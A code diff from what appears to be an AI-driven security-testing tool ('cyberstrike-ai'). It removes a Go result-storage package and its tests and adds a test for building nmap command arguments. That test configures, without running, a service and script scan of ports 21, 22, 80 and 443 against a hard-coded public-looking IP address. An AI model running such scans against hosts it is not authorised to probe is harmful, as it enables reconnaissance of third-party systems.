|
||||||
},
|
},
|
||||||
IsError: false,
|
IsError: true,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// paginateLines 对行列表进行分页
|
|
||||||
func paginateLines(lines []string, page int, limit int) *storage.ResultPage {
|
|
||||||
totalLines := len(lines)
|
|
||||||
totalPages := (totalLines + limit - 1) / limit
|
|
||||||
if page < 1 {
|
|
||||||
page = 1
|
|
||||||
}
|
|
||||||
if page > totalPages && totalPages > 0 {
|
|
||||||
page = totalPages
|
|
||||||
}
|
|
||||||
|
|
||||||
start := (page - 1) * limit
|
|
||||||
end := start + limit
|
|
||||||
if end > totalLines {
|
|
||||||
end = totalLines
|
|
||||||
}
|
|
||||||
|
|
||||||
var pageLines []string
|
|
||||||
if start < totalLines {
|
|
||||||
pageLines = lines[start:end]
|
|
||||||
} else {
|
|
||||||
pageLines = []string{}
|
|
||||||
}
|
|
||||||
|
|
||||||
return &storage.ResultPage{
|
|
||||||
Lines: pageLines,
|
|
||||||
Page: page,
|
|
||||||
Limit: limit,
|
|
||||||
TotalLines: totalLines,
|
|
||||||
TotalPages: totalPages,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// buildInputSchema 构建输入模式
|
// buildInputSchema 构建输入模式
|
||||||
func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]interface{} {
|
func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]interface{} {
|
||||||
schema := map[string]interface{}{
|
schema := map[string]interface{}{
|
||||||
|
|||||||
@@ -2,15 +2,12 @@ package security
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
"cyberstrike-ai/internal/mcp"
|
"cyberstrike-ai/internal/mcp"
|
||||||
"cyberstrike-ai/internal/storage"
|
|
||||||
|
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
@@ -28,137 +25,6 @@ func setupTestExecutor(t *testing.T) (*Executor, *mcp.Server) {
|
|||||||
return executor, mcpServer
|
return executor, mcpServer
|
||||||
}
|
}
|
||||||
|
|
||||||
// setupTestStorage 创建测试用的存储
|
|
||||||
func setupTestStorage(t *testing.T) *storage.FileResultStorage {
|
|
||||||
tmpDir := filepath.Join(os.TempDir(), "test_executor_storage_"+time.Now().Format("20060102_150405"))
|
|
||||||
logger := zap.NewNop()
|
|
||||||
|
|
||||||
storage, err := storage.NewFileResultStorage(tmpDir, logger)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("创建测试存储失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return storage
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestExecutor_ExecuteInternalTool_QueryExecutionResult(t *testing.T) {
|
|
||||||
executor, _ := setupTestExecutor(t)
|
|
||||||
testStorage := setupTestStorage(t)
|
|
||||||
executor.SetResultStorage(testStorage)
|
|
||||||
|
|
||||||
// 准备测试数据
|
|
||||||
executionID := "test_exec_001"
|
|
||||||
toolName := "nmap_scan"
|
|
||||||
result := "Line 1: Port 22 open\nLine 2: Port 80 open\nLine 3: Port 443 open\nLine 4: error occurred"
|
|
||||||
|
|
||||||
// 保存测试结果
|
|
||||||
err := testStorage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存测试结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
ctx := context.Background()
|
|
||||||
|
|
||||||
// 测试1: 基本查询(第一页)
|
|
||||||
args := map[string]interface{}{
|
|
||||||
"execution_id": executionID,
|
|
||||||
"page": float64(1),
|
|
||||||
"limit": float64(2),
|
|
||||||
}
|
|
||||||
|
|
||||||
toolResult, err := executor.executeQueryExecutionResult(ctx, args)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("执行查询失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if toolResult.IsError {
|
|
||||||
t.Fatalf("查询应该成功,但返回了错误: %s", toolResult.Content[0].Text)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证结果包含预期内容
|
|
||||||
resultText := toolResult.Content[0].Text
|
|
||||||
if !strings.Contains(resultText, executionID) {
|
|
||||||
t.Errorf("结果中应该包含执行ID: %s", executionID)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(resultText, "第 1/") {
|
|
||||||
t.Errorf("结果中应该包含分页信息")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试2: 搜索功能
|
|
||||||
args2 := map[string]interface{}{
|
|
||||||
"execution_id": executionID,
|
|
||||||
"search": "error",
|
|
||||||
"page": float64(1),
|
|
||||||
"limit": float64(10),
|
|
||||||
}
|
|
||||||
|
|
||||||
toolResult2, err := executor.executeQueryExecutionResult(ctx, args2)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("执行搜索失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if toolResult2.IsError {
|
|
||||||
t.Fatalf("搜索应该成功,但返回了错误: %s", toolResult2.Content[0].Text)
|
|
||||||
}
|
|
||||||
|
|
||||||
resultText2 := toolResult2.Content[0].Text
|
|
||||||
if !strings.Contains(resultText2, "error") {
|
|
||||||
t.Errorf("搜索结果中应该包含关键词: error")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试3: 过滤功能
|
|
||||||
args3 := map[string]interface{}{
|
|
||||||
"execution_id": executionID,
|
|
||||||
"filter": "Port",
|
|
||||||
"page": float64(1),
|
|
||||||
"limit": float64(10),
|
|
||||||
}
|
|
||||||
|
|
||||||
toolResult3, err := executor.executeQueryExecutionResult(ctx, args3)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("执行过滤失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if toolResult3.IsError {
|
|
||||||
t.Fatalf("过滤应该成功,但返回了错误: %s", toolResult3.Content[0].Text)
|
|
||||||
}
|
|
||||||
|
|
||||||
resultText3 := toolResult3.Content[0].Text
|
|
||||||
if !strings.Contains(resultText3, "Port") {
|
|
||||||
t.Errorf("过滤结果中应该包含关键词: Port")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试4: 缺少必需参数
|
|
||||||
args4 := map[string]interface{}{
|
|
||||||
"page": float64(1),
|
|
||||||
}
|
|
||||||
|
|
||||||
toolResult4, err := executor.executeQueryExecutionResult(ctx, args4)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("执行查询失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !toolResult4.IsError {
|
|
||||||
t.Fatal("缺少execution_id应该返回错误")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试5: 不存在的执行ID
|
|
||||||
args5 := map[string]interface{}{
|
|
||||||
"execution_id": "nonexistent_id",
|
|
||||||
"page": float64(1),
|
|
||||||
}
|
|
||||||
|
|
||||||
toolResult5, err := executor.executeQueryExecutionResult(ctx, args5)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("执行查询失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !toolResult5.IsError {
|
|
||||||
t.Fatal("不存在的执行ID应该返回错误")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) {
|
func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) {
|
||||||
executor, _ := setupTestExecutor(t)
|
executor, _ := setupTestExecutor(t)
|
||||||
|
|
||||||
@@ -182,29 +48,6 @@ func TestExecutor_ExecuteInternalTool_UnknownTool(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestExecutor_ExecuteInternalTool_NoStorage(t *testing.T) {
|
|
||||||
executor, _ := setupTestExecutor(t)
|
|
||||||
// 不设置存储,测试未初始化的情况
|
|
||||||
|
|
||||||
ctx := context.Background()
|
|
||||||
args := map[string]interface{}{
|
|
||||||
"execution_id": "test_id",
|
|
||||||
}
|
|
||||||
|
|
||||||
toolResult, err := executor.executeQueryExecutionResult(ctx, args)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("执行查询失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !toolResult.IsError {
|
|
||||||
t.Fatal("未初始化的存储应该返回错误")
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(toolResult.Content[0].Text, "结果存储未初始化") {
|
|
||||||
t.Errorf("错误消息应该包含'结果存储未初始化'")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T) {
|
func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T) {
|
||||||
executor, _ := setupTestExecutor(t)
|
executor, _ := setupTestExecutor(t)
|
||||||
// 子进程先向 stdout 写无换行字符再长时间 sleep;若与 echo $pid 共享管道且未重定向子进程 stdout,
|
// 子进程先向 stdout 写无换行字符再长时间 sleep;若与 echo $pid 共享管道且未重定向子进程 stdout,
|
||||||
@@ -228,63 +71,58 @@ func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestPaginateLines(t *testing.T) {
|
func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) {
|
||||||
lines := []string{"Line 1", "Line 2", "Line 3", "Line 4", "Line 5"}
|
pos1 := 1
|
||||||
|
executor, _ := setupTestExecutor(t)
|
||||||
// 测试第一页
|
toolConfig := &config.ToolConfig{
|
||||||
page := paginateLines(lines, 1, 2)
|
Name: "nmap",
|
||||||
if page.Page != 1 {
|
Command: "nmap",
|
||||||
t.Errorf("页码不匹配。期望: 1, 实际: %d", page.Page)
|
Args: []string{"-sT", "-sV", "-sC"},
|
||||||
}
|
Parameters: []config.ParameterConfig{
|
||||||
if page.Limit != 2 {
|
{Name: "target", Type: "string", Required: true, Position: &pos1, Format: "positional"},
|
||||||
t.Errorf("每页行数不匹配。期望: 2, 实际: %d", page.Limit)
|
{Name: "ports", Type: "string", Flag: "-p", Format: "flag"},
|
||||||
}
|
{Name: "timing", Type: "string", Template: "-T{value}", Format: "template"},
|
||||||
if page.TotalLines != 5 {
|
{Name: "nse_scripts", Type: "string", Flag: "--script", Format: "flag"},
|
||||||
t.Errorf("总行数不匹配。期望: 5, 实际: %d", page.TotalLines)
|
{Name: "os_detection", Type: "bool", Flag: "-O", Format: "flag", Default: false},
|
||||||
}
|
{Name: "aggressive", Type: "bool", Flag: "-A", Format: "flag", Default: false},
|
||||||
if page.TotalPages != 3 {
|
{Name: "scan_type", Type: "string", Format: "template", Template: "{value}"},
|
||||||
t.Errorf("总页数不匹配。期望: 3, 实际: %d", page.TotalPages)
|
{Name: "additional_args", Type: "string", Format: "positional"},
|
||||||
}
|
},
|
||||||
if len(page.Lines) != 2 {
|
|
||||||
t.Errorf("第一页行数不匹配。期望: 2, 实际: %d", len(page.Lines))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 测试第二页
|
args := map[string]interface{}{
|
||||||
page2 := paginateLines(lines, 2, 2)
|
"target": "110.52.223.114",
|
||||||
if len(page2.Lines) != 2 {
|
"ports": "21, 22, 80, 443",
|
||||||
t.Errorf("第二页行数不匹配。期望: 2, 实际: %d", len(page2.Lines))
|
"timing": "4",
|
||||||
}
|
"nse_scripts": "",
|
||||||
if page2.Lines[0] != "Line 3" {
|
"scan_type": "",
|
||||||
t.Errorf("第二页第一行不匹配。期望: Line 3, 实际: %s", page2.Lines[0])
|
"os_detection": false,
|
||||||
|
"aggressive": false,
|
||||||
|
"additional_args": "-Pn",
|
||||||
}
|
}
|
||||||
|
|
||||||
// 测试最后一页
|
cmdArgs := executor.buildCommandArgs("nmap", toolConfig, args)
|
||||||
page3 := paginateLines(lines, 3, 2)
|
joined := strings.Join(cmdArgs, " ")
|
||||||
if len(page3.Lines) != 1 {
|
|
||||||
t.Errorf("第三页行数不匹配。期望: 1, 实际: %d", len(page3.Lines))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试超出范围的页码(应该返回最后一页)
|
if strings.Contains(joined, "--script") {
|
||||||
page4 := paginateLines(lines, 4, 2)
|
t.Fatalf("empty nse_scripts must not emit --script, got: %v", cmdArgs)
|
||||||
if page4.Page != 3 {
|
|
||||||
t.Errorf("超出范围的页码应该被修正为最后一页。期望: 3, 实际: %d", page4.Page)
|
|
||||||
}
|
}
|
||||||
if len(page4.Lines) != 1 {
|
if !strings.Contains(joined, "110.52.223.114") {
|
||||||
t.Errorf("最后一页应该只有1行。实际: %d行", len(page4.Lines))
|
t.Fatalf("target missing from args: %v", cmdArgs)
|
||||||
}
|
}
|
||||||
|
// target 应出现在 -Pn 之前,避免被误当作 --script 的参数
|
||||||
// 测试无效页码(小于1)
|
pnIdx := indexOf(cmdArgs, "-Pn")
|
||||||
page0 := paginateLines(lines, 0, 2)
|
targetIdx := indexOf(cmdArgs, "110.52.223.114")
|
||||||
if page0.Page != 1 {
|
if pnIdx < 0 || targetIdx < 0 || targetIdx >= pnIdx {
|
||||||
t.Errorf("无效页码应该被修正为1。实际: %d", page0.Page)
|
t.Fatalf("expected target before -Pn, got: %v", cmdArgs)
|
||||||
}
|
|
||||||
|
|
||||||
// 测试空列表
|
|
||||||
emptyPage := paginateLines([]string{}, 1, 10)
|
|
||||||
if emptyPage.TotalLines != 0 {
|
|
||||||
t.Errorf("空列表的总行数应该为0。实际: %d", emptyPage.TotalLines)
|
|
||||||
}
|
|
||||||
if len(emptyPage.Lines) != 0 {
|
|
||||||
t.Errorf("空列表应该返回空结果。实际: %d行", len(emptyPage.Lines))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func indexOf(slice []string, s string) int {
|
||||||
|
for i, v := range slice {
|
||||||
|
if v == s {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,297 +0,0 @@
|
|||||||
package storage
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"regexp"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"go.uber.org/zap"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ResultStorage 结果存储接口
|
|
||||||
type ResultStorage interface {
|
|
||||||
// SaveResult 保存工具执行结果
|
|
||||||
SaveResult(executionID string, toolName string, result string) error
|
|
||||||
|
|
||||||
// GetResult 获取完整结果
|
|
||||||
GetResult(executionID string) (string, error)
|
|
||||||
|
|
||||||
// GetResultPage 分页获取结果
|
|
||||||
GetResultPage(executionID string, page int, limit int) (*ResultPage, error)
|
|
||||||
|
|
||||||
// SearchResult 搜索结果
|
|
||||||
// useRegex: 如果为 true,将 keyword 作为正则表达式使用;如果为 false,使用简单的字符串包含匹配
|
|
||||||
SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
|
|
||||||
|
|
||||||
// FilterResult 过滤结果
|
|
||||||
// useRegex: 如果为 true,将 filter 作为正则表达式使用;如果为 false,使用简单的字符串包含匹配
|
|
||||||
FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
|
|
||||||
|
|
||||||
// GetResultMetadata 获取结果元信息
|
|
||||||
GetResultMetadata(executionID string) (*ResultMetadata, error)
|
|
||||||
|
|
||||||
// GetResultPath 获取结果文件路径
|
|
||||||
GetResultPath(executionID string) string
|
|
||||||
|
|
||||||
// DeleteResult 删除结果
|
|
||||||
DeleteResult(executionID string) error
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResultPage 分页结果
|
|
||||||
type ResultPage struct {
|
|
||||||
Lines []string `json:"lines"`
|
|
||||||
Page int `json:"page"`
|
|
||||||
Limit int `json:"limit"`
|
|
||||||
TotalLines int `json:"total_lines"`
|
|
||||||
TotalPages int `json:"total_pages"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResultMetadata 结果元信息
|
|
||||||
type ResultMetadata struct {
|
|
||||||
ExecutionID string `json:"execution_id"`
|
|
||||||
ToolName string `json:"tool_name"`
|
|
||||||
TotalSize int `json:"total_size"`
|
|
||||||
TotalLines int `json:"total_lines"`
|
|
||||||
CreatedAt time.Time `json:"created_at"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// FileResultStorage 基于文件的结果存储实现
|
|
||||||
type FileResultStorage struct {
|
|
||||||
baseDir string
|
|
||||||
logger *zap.Logger
|
|
||||||
mu sync.RWMutex
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewFileResultStorage 创建新的文件结果存储
|
|
||||||
func NewFileResultStorage(baseDir string, logger *zap.Logger) (*FileResultStorage, error) {
|
|
||||||
// 确保目录存在
|
|
||||||
if err := os.MkdirAll(baseDir, 0755); err != nil {
|
|
||||||
return nil, fmt.Errorf("创建存储目录失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &FileResultStorage{
|
|
||||||
baseDir: baseDir,
|
|
||||||
logger: logger,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// getResultPath 获取结果文件路径
|
|
||||||
func (s *FileResultStorage) getResultPath(executionID string) string {
|
|
||||||
return filepath.Join(s.baseDir, executionID+".txt")
|
|
||||||
}
|
|
||||||
|
|
||||||
// getMetadataPath 获取元数据文件路径
|
|
||||||
func (s *FileResultStorage) getMetadataPath(executionID string) string {
|
|
||||||
return filepath.Join(s.baseDir, executionID+".meta.json")
|
|
||||||
}
|
|
||||||
|
|
||||||
// SaveResult 保存工具执行结果
|
|
||||||
func (s *FileResultStorage) SaveResult(executionID string, toolName string, result string) error {
|
|
||||||
s.mu.Lock()
|
|
||||||
defer s.mu.Unlock()
|
|
||||||
|
|
||||||
// 保存结果文件
|
|
||||||
resultPath := s.getResultPath(executionID)
|
|
||||||
if err := os.WriteFile(resultPath, []byte(result), 0644); err != nil {
|
|
||||||
return fmt.Errorf("保存结果文件失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 计算统计信息
|
|
||||||
lines := strings.Split(result, "\n")
|
|
||||||
metadata := &ResultMetadata{
|
|
||||||
ExecutionID: executionID,
|
|
||||||
ToolName: toolName,
|
|
||||||
TotalSize: len(result),
|
|
||||||
TotalLines: len(lines),
|
|
||||||
CreatedAt: time.Now(),
|
|
||||||
}
|
|
||||||
|
|
||||||
// 保存元数据
|
|
||||||
metadataPath := s.getMetadataPath(executionID)
|
|
||||||
metadataJSON, err := json.Marshal(metadata)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("序列化元数据失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := os.WriteFile(metadataPath, metadataJSON, 0644); err != nil {
|
|
||||||
return fmt.Errorf("保存元数据文件失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.logger.Info("保存工具执行结果",
|
|
||||||
zap.String("executionID", executionID),
|
|
||||||
zap.String("toolName", toolName),
|
|
||||||
zap.Int("size", len(result)),
|
|
||||||
zap.Int("lines", len(lines)),
|
|
||||||
)
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetResult 获取完整结果
|
|
||||||
func (s *FileResultStorage) GetResult(executionID string) (string, error) {
|
|
||||||
s.mu.RLock()
|
|
||||||
defer s.mu.RUnlock()
|
|
||||||
|
|
||||||
resultPath := s.getResultPath(executionID)
|
|
||||||
data, err := os.ReadFile(resultPath)
|
|
||||||
if err != nil {
|
|
||||||
if os.IsNotExist(err) {
|
|
||||||
return "", fmt.Errorf("结果不存在: %s", executionID)
|
|
||||||
}
|
|
||||||
return "", fmt.Errorf("读取结果文件失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(data), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetResultMetadata 获取结果元信息
|
|
||||||
func (s *FileResultStorage) GetResultMetadata(executionID string) (*ResultMetadata, error) {
|
|
||||||
s.mu.RLock()
|
|
||||||
defer s.mu.RUnlock()
|
|
||||||
|
|
||||||
metadataPath := s.getMetadataPath(executionID)
|
|
||||||
data, err := os.ReadFile(metadataPath)
|
|
||||||
if err != nil {
|
|
||||||
if os.IsNotExist(err) {
|
|
||||||
return nil, fmt.Errorf("结果不存在: %s", executionID)
|
|
||||||
}
|
|
||||||
return nil, fmt.Errorf("读取元数据文件失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var metadata ResultMetadata
|
|
||||||
if err := json.Unmarshal(data, &metadata); err != nil {
|
|
||||||
return nil, fmt.Errorf("解析元数据失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &metadata, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetResultPage 分页获取结果
|
|
||||||
func (s *FileResultStorage) GetResultPage(executionID string, page int, limit int) (*ResultPage, error) {
|
|
||||||
s.mu.RLock()
|
|
||||||
defer s.mu.RUnlock()
|
|
||||||
|
|
||||||
// 获取完整结果
|
|
||||||
result, err := s.GetResult(executionID)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 分割为行
|
|
||||||
lines := strings.Split(result, "\n")
|
|
||||||
totalLines := len(lines)
|
|
||||||
|
|
||||||
// 计算分页
|
|
||||||
totalPages := (totalLines + limit - 1) / limit
|
|
||||||
if page < 1 {
|
|
||||||
page = 1
|
|
||||||
}
|
|
||||||
if page > totalPages && totalPages > 0 {
|
|
||||||
page = totalPages
|
|
||||||
}
|
|
||||||
|
|
||||||
// 计算起始和结束索引
|
|
||||||
start := (page - 1) * limit
|
|
||||||
end := start + limit
|
|
||||||
if end > totalLines {
|
|
||||||
end = totalLines
|
|
||||||
}
|
|
||||||
|
|
||||||
// 提取指定页的行
|
|
||||||
var pageLines []string
|
|
||||||
if start < totalLines {
|
|
||||||
pageLines = lines[start:end]
|
|
||||||
} else {
|
|
||||||
pageLines = []string{}
|
|
||||||
}
|
|
||||||
|
|
||||||
return &ResultPage{
|
|
||||||
Lines: pageLines,
|
|
||||||
Page: page,
|
|
||||||
Limit: limit,
|
|
||||||
TotalLines: totalLines,
|
|
||||||
TotalPages: totalPages,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// SearchResult 搜索结果
|
|
||||||
func (s *FileResultStorage) SearchResult(executionID string, keyword string, useRegex bool) ([]string, error) {
|
|
||||||
s.mu.RLock()
|
|
||||||
defer s.mu.RUnlock()
|
|
||||||
|
|
||||||
// 获取完整结果
|
|
||||||
result, err := s.GetResult(executionID)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果使用正则表达式,先编译正则
|
|
||||||
var regex *regexp.Regexp
|
|
||||||
if useRegex {
|
|
||||||
compiledRegex, err := regexp.Compile(keyword)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("无效的正则表达式: %w", err)
|
|
||||||
}
|
|
||||||
regex = compiledRegex
|
|
||||||
}
|
|
||||||
|
|
||||||
// 分割为行并搜索
|
|
||||||
lines := strings.Split(result, "\n")
|
|
||||||
var matchedLines []string
|
|
||||||
|
|
||||||
for _, line := range lines {
|
|
||||||
var matched bool
|
|
||||||
if useRegex {
|
|
||||||
matched = regex.MatchString(line)
|
|
||||||
} else {
|
|
||||||
matched = strings.Contains(line, keyword)
|
|
||||||
}
|
|
||||||
|
|
||||||
if matched {
|
|
||||||
matchedLines = append(matchedLines, line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return matchedLines, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// FilterResult 过滤结果
|
|
||||||
func (s *FileResultStorage) FilterResult(executionID string, filter string, useRegex bool) ([]string, error) {
|
|
||||||
// 过滤和搜索逻辑相同,都是查找包含关键词的行
|
|
||||||
return s.SearchResult(executionID, filter, useRegex)
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetResultPath 获取结果文件路径
|
|
||||||
func (s *FileResultStorage) GetResultPath(executionID string) string {
|
|
||||||
return s.getResultPath(executionID)
|
|
||||||
}
|
|
||||||
|
|
||||||
// DeleteResult 删除结果
|
|
||||||
func (s *FileResultStorage) DeleteResult(executionID string) error {
|
|
||||||
s.mu.Lock()
|
|
||||||
defer s.mu.Unlock()
|
|
||||||
|
|
||||||
resultPath := s.getResultPath(executionID)
|
|
||||||
metadataPath := s.getMetadataPath(executionID)
|
|
||||||
|
|
||||||
// 删除结果文件
|
|
||||||
if err := os.Remove(resultPath); err != nil && !os.IsNotExist(err) {
|
|
||||||
return fmt.Errorf("删除结果文件失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 删除元数据文件
|
|
||||||
if err := os.Remove(metadataPath); err != nil && !os.IsNotExist(err) {
|
|
||||||
return fmt.Errorf("删除元数据文件失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.logger.Info("删除工具执行结果",
|
|
||||||
zap.String("executionID", executionID),
|
|
||||||
)
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@@ -1,453 +0,0 @@
|
|||||||
package storage
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"go.uber.org/zap"
|
|
||||||
)
|
|
||||||
|
|
||||||
// setupTestStorage 创建测试用的存储实例
|
|
||||||
func setupTestStorage(t *testing.T) (*FileResultStorage, string) {
|
|
||||||
tmpDir := filepath.Join(os.TempDir(), "test_result_storage_"+time.Now().Format("20060102_150405"))
|
|
||||||
logger := zap.NewNop()
|
|
||||||
|
|
||||||
storage, err := NewFileResultStorage(tmpDir, logger)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("创建测试存储失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return storage, tmpDir
|
|
||||||
}
|
|
||||||
|
|
||||||
// cleanupTestStorage 清理测试数据
|
|
||||||
func cleanupTestStorage(t *testing.T, tmpDir string) {
|
|
||||||
if err := os.RemoveAll(tmpDir); err != nil {
|
|
||||||
t.Logf("清理测试目录失败: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNewFileResultStorage(t *testing.T) {
|
|
||||||
tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
logger := zap.NewNop()
|
|
||||||
storage, err := NewFileResultStorage(tmpDir, logger)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("创建存储失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if storage == nil {
|
|
||||||
t.Fatal("存储实例为nil")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证目录已创建
|
|
||||||
if _, err := os.Stat(tmpDir); os.IsNotExist(err) {
|
|
||||||
t.Fatal("存储目录未创建")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_SaveResult(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_001"
|
|
||||||
toolName := "nmap_scan"
|
|
||||||
result := "Line 1\nLine 2\nLine 3\nLine 4\nLine 5"
|
|
||||||
|
|
||||||
err := storage.SaveResult(executionID, toolName, result)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证结果文件存在
|
|
||||||
resultPath := filepath.Join(tmpDir, executionID+".txt")
|
|
||||||
if _, err := os.Stat(resultPath); os.IsNotExist(err) {
|
|
||||||
t.Fatal("结果文件未创建")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证元数据文件存在
|
|
||||||
metadataPath := filepath.Join(tmpDir, executionID+".meta.json")
|
|
||||||
if _, err := os.Stat(metadataPath); os.IsNotExist(err) {
|
|
||||||
t.Fatal("元数据文件未创建")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFileResultStorage_GetResult(t *testing.T) {
|
|
||||||
storage, tmpDir := setupTestStorage(t)
|
|
||||||
defer cleanupTestStorage(t, tmpDir)
|
|
||||||
|
|
||||||
executionID := "test_exec_002"
|
|
||||||
toolName := "test_tool"
|
|
||||||
expectedResult := "Test result content\nLine 2\nLine 3"
|
|
||||||
|
|
||||||
// 先保存结果
|
|
||||||
err := storage.SaveResult(executionID, toolName, expectedResult)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("保存结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取结果
|
|
||||||
result, err := storage.GetResult(executionID)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("获取结果失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if result != expectedResult {
|
|
||||||
t.Errorf("结果不匹配。期望: %q, 实际: %q", expectedResult, result)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 测试不存在的执行ID
|
|
||||||
_, err = storage.GetResult("nonexistent_id")
|
|
||||||
if err == nil {
|
|
||||||
t.Fatal("应该返回错误")
|
|
||||||
}
|
|
||||||
}
|
|
